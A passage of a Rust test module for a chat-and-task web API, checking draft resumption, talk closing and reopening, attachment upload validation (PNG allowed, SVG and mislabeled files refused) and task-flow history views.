16916        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16917        let f = Fixture::with_repo(repo).await;
16918        let id = f.post("/api/talks", None).await.json()["id"]
16919            .as_str()
16920            .expect("id")
16921            .to_owned();
16922        let store = f.talks();
16923        let mut recovered = store.get(&id).expect("opened talk");
16924        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16925            .expect("persist pending draft without a live turn");
16926
16927        let refused = f
16928            .post(
16929                &format!("/api/talks/{id}/say"),
16930                Some(r#"{"text":"new message"}"#),
16931            )
16932            .await;
16933        assert_eq!(refused.status, 409, "{}", refused.body);
16934        assert!(refused.body.contains("resume"), "{}", refused.body);
16935        let saved = store.get(&id).expect("draft remains after refusal");
16936        assert!(saved.turns.is_empty());
16937        assert_eq!(saved.pending, "saved before restart");
16938
16939        let say_path = format!("/api/talks/{id}/say");
16940        let (first, second) = tokio::join!(
16941            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16942            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16943        );
16944        assert_eq!(first.status, 409, "{}", first.body);
16945        assert_eq!(second.status, 409, "{}", second.body);
16946        let saved = store
16947            .get(&id)
16948            .expect("draft remains after concurrent refusals");
16949        assert!(saved.turns.is_empty());
16950        assert_eq!(saved.pending, "saved before restart");
16951
16952        let resumed = f
16953            .post(&format!("/api/talks/{id}/pending/resume"), None)
16954            .await;
16955        assert_eq!(resumed.status, 202, "{}", resumed.body);
16956        let duplicate = f
16957            .post(&format!("/api/talks/{id}/pending/resume"), None)
16958            .await;
16959        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16960
16961        for _ in 0..SETTLE_STEPS {
16962            if store.get(&id).expect("talk").turns.len() == 2 {
16963                break;
16964            }
16965            tokio::time::sleep(Duration::from_millis(10)).await;
16966        }
16967        let finished = store.get(&id).expect("finished talk");
16968        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16969        assert_eq!(finished.turns[0].body, "saved before restart");
16970        assert!(finished.pending.is_empty());
16971    }
16972
16973    #[tokio::test]
16974    async fn an_image_only_recovered_draft_resumes_without_text() {
16975        let (_tmp, _repo, f) = talk_fixture().await;
16976        let id = f.post("/api/talks", None).await.json()["id"]
16977            .as_str()
16978            .expect("id")
16979            .to_owned();
16980        let uploaded = f
16981            .post_bytes(
16982                &format!("/api/talks/{id}/attachments"),
16983                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16984                PNG_BYTES,
16985            )
16986            .await;
16987        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16988        let attachment = f
16989            .talks()
16990            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16991            .expect("attachment metadata")
16992            .expect("stored attachment");
16993        let store = f.talks();
16994        let mut recovered = store.get(&id).expect("opened talk");
16995        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16996
16997        let resumed = f
16998            .post(&format!("/api/talks/{id}/pending/resume"), None)
16999            .await;
17000        assert_eq!(resumed.status, 202, "{}", resumed.body);
17001        for _ in 0..SETTLE_STEPS {
17002            if store.get(&id).expect("talk").turns.len() == 2 {
17003                break;
17004            }
17005            tokio::time::sleep(Duration::from_millis(10)).await;
17006        }
17007        let finished = store.get(&id).expect("finished talk");
17008        assert_eq!(finished.turns.len(), 2, "{finished:?}");
17009        assert!(finished.turns[0].body.is_empty());
17010        assert_eq!(finished.turns[0].attachments.len(), 1);
17011        assert!(finished.pending_attachments.is_empty());
17012    }
17013
17014    #[tokio::test]
17015    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
17016        let (_tmp, _repo, f) = talk_fixture().await;
17017        let id = f.post("/api/talks", None).await.json()["id"]
17018            .as_str()
17019            .expect("id")
17020            .to_owned();
17021        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17022        assert_eq!(closed.status, 200, "{}", closed.body);
17023        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17024            .expect("serialize closed talk");
17025        for (path, body) in [
17026            (format!("/api/talks/{id}/pending/resume"), None),
17027            (
17028                format!("/api/talks/{id}/pending/clear"),
17029                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
17030            ),
17031            (
17032                format!("/api/talks/{id}/pending/edit"),
17033                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
17034            ),
17035            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
17036        ] {
17037            let response = f.post(&path, body).await;
17038            assert_eq!(response.status, 409, "{}", response.body);
17039        }
17040        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17041            .expect("serialize closed talk");
17042        assert_eq!(
17043            after_clear, before_clear,
17044            "clear must not rewrite a closed talk"
17045        );
17046    }
17047
17048    /// Keeps both claims observable long enough to exercise the distinction
17049    /// between one busy talk and a globally locked Chat surface.
17050    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
17051
17052    #[tokio::test]
17053    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
17054        let tmp = TempDir::new().expect("tempdir");
17055        let repo = tmp.path().join("repo");
17056        std::fs::create_dir_all(&repo).expect("repo dir");
17057        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
17058        let f = Fixture::with_repo(repo).await;
17059        let id_a = f.post("/api/talks", None).await.json()["id"]
17060            .as_str()
17061            .unwrap()
17062            .to_owned();
17063        let id_b = f.post("/api/talks", None).await.json()["id"]
17064            .as_str()
17065            .unwrap()
17066            .to_owned();
17067
17068        let a = f
17069            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
17070            .await;
17071        assert_eq!(a.status, 202, "{}", a.body);
17072        assert_eq!(a.json()["thinking"], true);
17073        let b = f
17074            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
17075            .await;
17076        assert_eq!(b.status, 202, "{}", b.body);
17077        assert_eq!(b.json()["thinking"], true);
17078
17079        let listed = f.get("/api/talks").await.json();
17080        for id in [&id_a, &id_b] {
17081            let view = listed
17082                .as_array()
17083                .unwrap()
17084                .iter()
17085                .find(|talk| talk["id"] == *id)
17086                .unwrap();
17087            assert_eq!(view["thinking"], true, "{listed}");
17088        }
17089        let repeated = f
17090            .post(
17091                &format!("/api/talks/{id_a}/say"),
17092                Some(r#"{"text":"again"}"#),
17093            )
17094            .await;
17095        assert_eq!(repeated.status, 202, "{}", repeated.body);
17096        assert_eq!(repeated.json()["pending"], "again");
17097    }
17098
17099    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
17100    /// few more, since real uploads are never exactly eight bytes.
17101    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
17102
17103    #[tokio::test]
17104    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
17105        let f = Fixture::start().await;
17106        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
17107
17108        let res = f
17109            .post_bytes(
17110                &format!("/api/talks/{id}/attachments"),
17111                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17112                PNG_BYTES,
17113            )
17114            .await;
17115        assert_eq!(res.status, 201, "{}", res.body);
17116        let body = res.json();
17117        assert_eq!(body["name"], "shot.png");
17118        assert_eq!(body["mime"], "image/png");
17119        assert_eq!(body["bytes"], PNG_BYTES.len());
17120        let att_id = body["id"].as_str().expect("id").to_owned();
17121        assert_eq!(
17122            att_id.len(),
17123            32,
17124            "the id must never be a client-suppliable path: {att_id}"
17125        );
17126
17127        let got = f
17128            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
17129            .await;
17130        assert_eq!(got.status, 200, "{}", got.body);
17131        assert_eq!(got.header("content-type"), Some("image/png"));
17132        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
17133        assert_eq!(got.bytes, PNG_BYTES);
17134    }
17135
17136    #[tokio::test]
17137    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
17138        let f = Fixture::start().await;
17139        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
17140
17141        // SVG can carry a `<script>`, so it is never on the whitelist even
17142        // though it is a real IANA image type.
17143        let svg = f
17144            .post_bytes(
17145                &format!("/api/talks/{id}/attachments"),
17146                &[("Content-Type", "image/svg+xml")],
17147                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
17148            )
17149            .await;
17150        assert!(
17151            (400..500).contains(&svg.status),
17152            "svg must be refused: {} {}",
17153            svg.status,
17154            svg.body
17155        );
17156        assert!(svg.body.contains("SVG"), "{}", svg.body);
17157
17158        let text = f
17159            .post_bytes(
17160                &format!("/api/talks/{id}/attachments"),
17161                &[("Content-Type", "text/plain")],
17162                b"just some text",
17163            )
17164            .await;
17165        assert!(
17166            (400..500).contains(&text.status),
17167            "an unlisted type must be refused: {} {}",
17168            text.status,
17169            text.body
17170        );
17171
17172        // The declared type is a real png, but the size check runs before
17173        // the bytes are even looked at.
17174        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
17175        let big = f
17176            .post_bytes(
17177                &format!("/api/talks/{id}/attachments"),
17178                &[("Content-Type", "image/png")],
17179                &oversized,
17180            )
17181            .await;
17182        assert_eq!(
17183            big.status,
17184            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
17185            "{}",
17186            big.body
17187        );
17188    }
17189
17190    #[tokio::test]
17191    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
17192        let f = Fixture::start().await;
17193        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
17194
17195        // A whitelisted `Content-Type`, but bytes that are not actually a
17196        // png - the declared header alone is never trusted.
17197        let res = f
17198            .post_bytes(
17199                &format!("/api/talks/{id}/attachments"),
17200                &[("Content-Type", "image/png")],
17201                b"<html>not a picture</html>",
17202            )
17203            .await;
17204        assert!((400..500).contains(&res.status), "{}", res.body);
17205    }
17206
17207    #[tokio::test]
17208    async fn an_unknown_attachment_id_is_a_404() {
17209        let f = Fixture::start().await;
17210        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
17211
17212        let res = f
17213            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
17214            .await;
17215        assert_eq!(res.status, 404, "{}", res.body);
17216    }
17217
17218    #[tokio::test]
17219    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
17220        let f = Fixture::start().await;
17221        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
17222
17223        let uploaded = f
17224            .post_bytes(
17225                &format!("/api/talks/{id}/attachments"),
17226                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17227                PNG_BYTES,
17228            )
17229            .await;
17230        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17231        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
17232
17233        let res = f
17234            .post(
17235                &format!("/api/talks/{id}/say"),
17236                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
17237            )
17238            .await;
17239        assert_eq!(res.status, 202, "{}", res.body);
17240        let queued = res.json();
17241        let turns = queued["turns"].as_array().expect("turns array");
17242        assert_eq!(
17243            turns.len(),
17244            1,
17245            "an empty body with an attachment is still a turn: {queued}"
17246        );
17247        assert_eq!(turns[0]["who"], "operator");
17248        assert_eq!(turns[0]["body"], "");
17249        let atts = turns[0]["attachments"]
17250            .as_array()
17251            .expect("attachments array");
17252        assert_eq!(atts.len(), 1);
17253        assert_eq!(atts[0]["id"], att_id);
17254        assert_eq!(atts[0]["mime"], "image/png");
17255
17256        // Not only in the response: `record` flushes to disk before the
17257        // agent's own turn is even spawned.
17258        let on_disk = f.talks().get(&id).expect("get");
17259        assert_eq!(on_disk.turns[0].attachments.len(), 1);
17260        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
17261    }
17262
17263    #[tokio::test]
17264    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
17265        let f = Fixture::start().await;
17266        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
17267
17268        let res = f
17269            .post(
17270                &format!("/api/talks/{id}/say"),
17271                Some(&format!(
17272                    r#"{{"text":"hi","attachments":["{}"]}}"#,
17273                    "a".repeat(32)
17274                )),
17275            )
17276            .await;
17277        assert!((400..500).contains(&res.status), "{}", res.body);
17278        assert!(res.body.contains("unknown attachment"), "{}", res.body);
17279
17280        let on_disk = f.talks().get(&id).expect("get");
17281        assert!(
17282            on_disk.turns.is_empty(),
17283            "a rejected attachment id must not partially record the turn: {:?}",
17284            on_disk.turns
17285        );
17286    }
17287
17288    #[tokio::test]
17289    async fn talk_close_makes_the_talk_refuse_further_turns() {
17290        let f = Fixture::start().await;
17291        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17292
17293        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17294        assert_eq!(closed.status, 200, "{}", closed.body);
17295        assert_eq!(closed.json()["status"], "closed");
17296
17297        // Idempotent: closing an already-closed talk is not an error.
17298        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
17299        assert_eq!(closed_again.status, 200);
17300        assert_eq!(closed_again.json()["status"], "closed");
17301
17302        let said = f
17303            .post(
17304                &format!("/api/talks/{id}/say"),
17305                Some(r#"{"text":"too late"}"#),
17306            )
17307            .await;
17308        assert_eq!(said.status, 409, "{}", said.body);
17309    }
17310
17311    #[tokio::test]
17312    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
17313        let f = Fixture::start().await;
17314        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17315        let store = f.talks();
17316        let mut queued = store.get(&id).expect("talk");
17317        for automatic in [false, true] {
17318            if automatic {
17319                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
17320                    .expect("queue automatic input");
17321            } else {
17322                talk::queue(&mut queued, &store, "queued send", Vec::new())
17323                    .expect("queue operator input");
17324            }
17325            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
17326            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
17327            assert_eq!(refused.status, 409, "{}", refused.body);
17328            assert!(refused.body.contains("pending input"), "{}", refused.body);
17329            assert_eq!(
17330                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
17331                before,
17332                "a close refusal must preserve the entire record"
17333            );
17334            talk::clear_pending(&mut queued, &store).expect("clear saved input");
17335        }
17336        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17337        assert_eq!(closed.status, 200, "{}", closed.body);
17338        assert_eq!(closed.json()["status"], "closed");
17339    }
17340
17341    #[tokio::test]
17342    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
17343        let (_tmp, _repo, f) = talk_fixture().await;
17344        let id = f.post("/api/talks", None).await.json()["id"]
17345            .as_str()
17346            .expect("id")
17347            .to_owned();
17348        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17349        assert_eq!(closed.status, 200, "{}", closed.body);
17350
17351        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17352        assert_eq!(reopened.status, 200, "{}", reopened.body);
17353        assert_eq!(reopened.json()["status"], "open");
17354
17355        // Idempotent: reopening an already-open talk is not an error.
17356        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17357        assert_eq!(reopened_again.status, 200);
17358        assert_eq!(reopened_again.json()["status"], "open");
17359
17360        let said = f
17361            .post(
17362                &format!("/api/talks/{id}/say"),
17363                Some(r#"{"text":"still there?"}"#),
17364            )
17365            .await;
17366        assert_eq!(
17367            said.status, 202,
17368            "a reopened talk accepts turns again: {}",
17369            said.body
17370        );
17371    }
17372
17373    #[tokio::test]
17374    async fn talk_reopen_on_an_unknown_id_is_404() {
17375        let f = Fixture::start().await;
17376        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
17377        assert_eq!(res.status, 404, "{}", res.body);
17378    }
17379
17380    #[tokio::test]
17381    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
17382        let f = Fixture::start().await;
17383        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
17384
17385        let deleted = f.delete(&format!("/api/talks/{id}")).await;
17386        assert_eq!(deleted.status, 204, "{}", deleted.body);
17387
17388        let after = f.get(&format!("/api/talks/{id}")).await;
17389        assert_eq!(after.status, 404, "{}", after.body);
17390
17391        let listed = f.get("/api/talks").await.json();
17392        assert!(
17393            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17394            "a deleted talk must not linger in the list: {listed}"
17395        );
17396    }
17397
17398    #[tokio::test]
17399    async fn talk_delete_on_an_unknown_id_is_404() {
17400        let f = Fixture::start().await;
17401        let res = f.delete("/api/talks/nonexistent-id").await;
17402        assert_eq!(res.status, 404, "{}", res.body);
17403    }
17404
17405    /// A task's page lists every run it ever had, in order, and says what kind
17406    /// of attempt each was - including a resume, which re-pushes the same run
17407    /// id, and a run whose record this build cannot read.
17408    #[tokio::test]
17409    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17410        let f = Fixture::start().await;
17411        let (a, b, gone) = (
17412            "20260902-140501-aaaa",
17413            "20260902-140502-bbbb",
17414            "20260902-140503-cccc",
17415        );
17416        write_run(&f.runs(), a, RunStatus::Stalled);
17417        let mut review = RunState::new(
17418            PathBuf::from("/repo/magi"),
17419            "main".to_owned(),
17420            "0123456789abcdef".to_owned(),
17421            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17422                .to_owned(),
17423            Config::default(),
17424        );
17425        review.id = b.to_owned();
17426        review.status = RunStatus::Merged;
17427        write_state(&f.runs(), &review);
17428
17429        let mut task = Task::new(
17430            "retry".to_owned(),
17431            "Do the thing".to_owned(),
17432            PathBuf::from("/repo/magi"),
17433            Source::Human,
17434        );
17435        task.start(a.to_owned());
17436        task.stall("quota");
17437        task.start(a.to_owned());
17438        task.start(b.to_owned());
17439        task.start(gone.to_owned());
17440        // This fixture models an older queue file with repeated run entries.
17441        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17442        f.queue().put(&mut task).expect("file the task");
17443
17444        let res = f.get(&format!("/api/queue/{}", task.id)).await;
17445        assert_eq!(res.status, 200, "{}", res.body);
17446        let v = res.json();
17447        let h = v["history"].as_array().expect("history");
17448        assert_eq!(h.len(), 4, "{v}");
17449        assert_eq!(h[0]["kind"], "competition");
17450        assert_eq!(h[0]["status"], "stalled");
17451        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17452        assert_eq!(h[1]["kind"], "resume", "{v}");
17453        assert!(
17454            h[0]["outcome"]
17455                .as_str()
17456                .unwrap()
17457                .contains("unknown. Pass #2"),
17458            "an earlier pass of a resumed run must not claim the final outcome: {v}"
17459        );
17460        assert!(
17461            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17462            "{v}"
17463        );
17464        assert!(
17465            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17466            "an unrecorded cause must not be narrated as an operator park: {v}"
17467        );
17468        assert_eq!(h[2]["kind"], "review");
17469        assert!(
17470            h[2]["description"]
17471                .as_str()
17472                .unwrap()
17473                .contains("magi/aaaa/A")
17474        );
17475        assert_eq!(h[2]["status"], "merged");
17476        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17477        assert_eq!(v["runs_unreadable"], 1);
17478        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17479        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17480        assert_eq!(nodes[4]["note"], "unreadable");
17481        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17482        assert_eq!(v["instruction"], "Do the thing");
17483        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17484
17485        // The run's own page links back to the task.
17486        let run = f.get(&format!("/api/runs/{a}")).await.json();
17487        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17488
17489        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17490    }
17491
17492    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17493        let mut s = RunState::new(
17494            PathBuf::from("/repo/magi"),
17495            "main".to_owned(),
17496            "0123456789abcdef".to_owned(),
17497            "Do it".to_owned(),
17498            Config::default(),
17499        );
17500        s.status = status;
17501        edit(&mut s);
17502        s
17503    }
17504
17505    fn flow_task(runs: &[&str]) -> Task {
17506        let mut t = Task::new(
17507            "t".to_owned(),
17508            "Do it".to_owned(),
17509            PathBuf::from("/repo/magi"),
17510            Source::Human,
17511        );
17512        for r in runs {
17513            t.start((*r).to_owned());
17514        }
17515        // Synthetic flows without RunPass records model legacy queue data.
17516        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17517        t
17518    }
17519
17520    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17521        let h = task_history(task, |id| {
17522            states
17523                .iter()
17524                .find(|(i, _)| *i == id)
17525                .and_then(|(_, s)| s.clone())
17526        });
17527        task_flow(task, &h, 5, None)
17528    }
17529
17530    #[test]
17531    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17532        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17533        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17534        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17535        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17536        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17537        let run = flow_run(RunStatus::Implementing, |s| {
17538            s.created_at = created;
17539            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17540            s.passes[0].started_at = first;
17541            s.passes[1].started_at = resumed;
17542        });
17543        let mut task = flow_task(&[RUN_X, RUN_X]);
17544        task.created_at = queued;
17545        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17546        task.status = TaskStatus::Held;
17547        task.held_at = Some(held);
17548        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17549        assert_eq!(
17550            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17551            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17552        );
17553        assert!(flow.nodes.iter().all(|n| n.time_expected));
17554        let json = serde_json::to_value(&flow).unwrap();
17555        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17556        assert_eq!(json["nodes"][2]["time_expected"], true);
17557    }
17558
17559    #[test]
17560    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17561        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17562        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17563        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17564        // These timestamps are not the start of the current status.
17565        task.held_at = Some(created);
17566        task.blocked_at = Some(created);
17567        for status in [
17568            TaskStatus::Queued,
17569            TaskStatus::Running,
17570            TaskStatus::Blocked,
17571            TaskStatus::Done,
17572            TaskStatus::Failed,
17573            TaskStatus::Parked,
17574            TaskStatus::Held,
17575        ] {
17576            task.status = status;
17577            if status == TaskStatus::Held {
17578                task.held_at = None;
17579            }
17580            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17581            assert_eq!(flow.nodes[1].started_at, Some(created));
17582            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17583            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17584            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17585            let json = serde_json::to_value(&flow).unwrap();
17586            assert!(json["nodes"][3]["started_at"].is_null());
17587            assert_eq!(json["nodes"][3]["time_expected"], true);
17588        }
17589    }
17590
17591    #[test]
17592    fn flow_context_links_do_not_expect_start_times() {
17593        let mut task = flow_task(&[]);
17594        task.source = Source::Agent {
17595            run: "chat-id".to_owned(),
17596            node: "chat".to_owned(),
17597        };
17598        let origin = followup_origin(&fu(None), |_| None, |_| None);
17599        let flow = task_flow(&task, &[], 5, Some(&origin));
17600        for node in &flow.nodes[..2] {
17601            assert!(!node.time_expected);
17602            assert_eq!(node.started_at, None);
17603        }
17604        assert!(flow.nodes[2].time_expected);
17605    }
17606
17607    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17608        crate::queue::FollowUp {
17609            run: "20260901-000000-aaaa".to_owned(),
17610            origin_task: origin_task.map(str::to_owned),
17611            pr: "https://example.com/o/r/pull/1".to_owned(),
17612            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17613                .map(str::to_owned)
17614                .to_vec(),
17615            generation: 1,
17616        }
17617    }
17618
17619    fn parent_task() -> Task {
17620        let mut p = flow_task(&[]);
17621        p.title = "Parent title".to_owned();
17622        p.status = TaskStatus::Done;
17623        p
17624    }
17625
17626    #[test]
17627    fn flow_opens_with_the_parent_task_of_a_followup() {
17628        let p = parent_task();
17629        let pid = p.id.clone();
17630        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17631        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17632        let n = &f.nodes[0];
17633        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17634        assert_eq!(
17635            n.label,
17636            format!("Follow-up of {}", crate::queue::short(&pid))
17637        );
17638        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17639        assert_eq!(n.status, Some("done"));
17640        assert_eq!(n.status_of, "task");
17641        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17642        assert_eq!(f.nodes[1].key, "start");
17643        assert_eq!(f.edges[0].from, "origin");
17644        assert_eq!(
17645            f.edges[0].label,
17646            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17647        );
17648    }
17649
17650    #[test]
17651    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17652        let o = followup_origin(
17653            &fu(Some("gone")),
17654            |_| None,
17655            |_| {
17656                Some(RunState::new(
17657                    std::path::PathBuf::from("."),
17658                    "main".to_owned(),
17659                    "0".to_owned(),
17660                    "t".to_owned(),
17661                    crate::config::Config::default(),
17662                ))
17663            },
17664        );
17665        assert!(o.parent.is_none());
17666        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17667        let n = &f.nodes[0];
17668        assert_eq!(n.status_of, "run");
17669        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17670        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17671    }
17672
17673    #[test]
17674    fn flow_followup_with_nothing_readable_has_no_link() {
17675        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17676        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17677        let n = &f.nodes[0];
17678        assert_eq!(n.href, None);
17679        assert_eq!(n.note, Some("unreadable"));
17680        assert!(!n.readable);
17681    }
17682
17683    #[test]
17684    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17685        let o = followup_origin(&fu(None), |_| None, |_| None);
17686        let mut t = flow_task(&[]);
17687        t.origin_chat = Some("c1".to_owned());
17688        let f = task_flow(&t, &[], 5, Some(&o));
17689        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17690        t.source = Source::Agent {
17691            run: "c1".to_owned(),
17692            node: crate::queue::CHAT_NODE.to_owned(),
17693        };
17694        let f = task_flow(&t, &[], 5, Some(&o));
17695        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17696        assert_eq!(
17697            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17698            ("chat", "origin")
17699        );
17700    }
17701
17702    #[test]
17703    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17704        let mut p = parent_task();
17705        p.id = "a b/c".to_owned();
17706        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17707        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17708    }
17709
17710    #[test]
17711    fn flow_opens_with_the_chat_that_queued_the_task() {
17712        let mut t = flow_task(&[]);
17713        t.source = Source::Agent {
17714            run: "a b/c".to_owned(),
17715            node: crate::queue::CHAT_NODE.to_owned(),
17716        };
17717        t.issue = Some(crate::queue::IssueRef {
17718            number: 3,
17719            repo: "o/r".into(),
17720        });
17721        let view = TaskView::from(t.clone());
17722        assert!(view.source_label.contains("issue #3"));
17723        assert_eq!(view.source_link.unwrap().href, "#/chat/a%20b%2Fc");
17724        let f = flow_for(&t, &[]);
17725        assert_eq!(f.nodes[0].key, "chat");
17726        assert_eq!(f.nodes[0].kind, "chat");
17727        assert_eq!(
17728            f.nodes[0].label,
17729            format!("Chat {}", crate::queue::short("a b/c"))
17730        );
17731        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17732        assert_eq!(f.nodes[1].key, "start");
17733        assert_eq!(
17734            f.edges[0],
17735            FlowEdge {
17736                from: "chat".to_owned(),
17737                to: "start".to_owned(),
17738                label: "queued from chat".to_owned(),
17739                attempt: AttemptCost::None,
17740            }
17741        );
17742    }
17743
17744    #[test]
17745    fn flow_has_no_chat_box_for_other_sources() {
17746        for source in [
17747            Source::Human,
17748            Source::Issue {
17749                number: 3,
17750                repo: "o/r".to_owned(),
17751            },
17752            Source::Agent {
17753                run: "20260904-014455-ab12".to_owned(),
17754                node: "implement".to_owned(),
17755            },
17756        ] {
17757            let mut t = flow_task(&[]);
17758            t.source = source;
17759            let f = flow_for(&t, &[]);
17760            assert_eq!(f.nodes[0].key, "start");
17761            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17762            assert!(f.edges.iter().all(|e| e.from != "chat"));
17763        }
17764    }
17765
17766    const FA: &str = "20260902-140501-aaaa";
17767    const FB: &str = "20260902-140502-bbbb";
17768
17769    #[test]
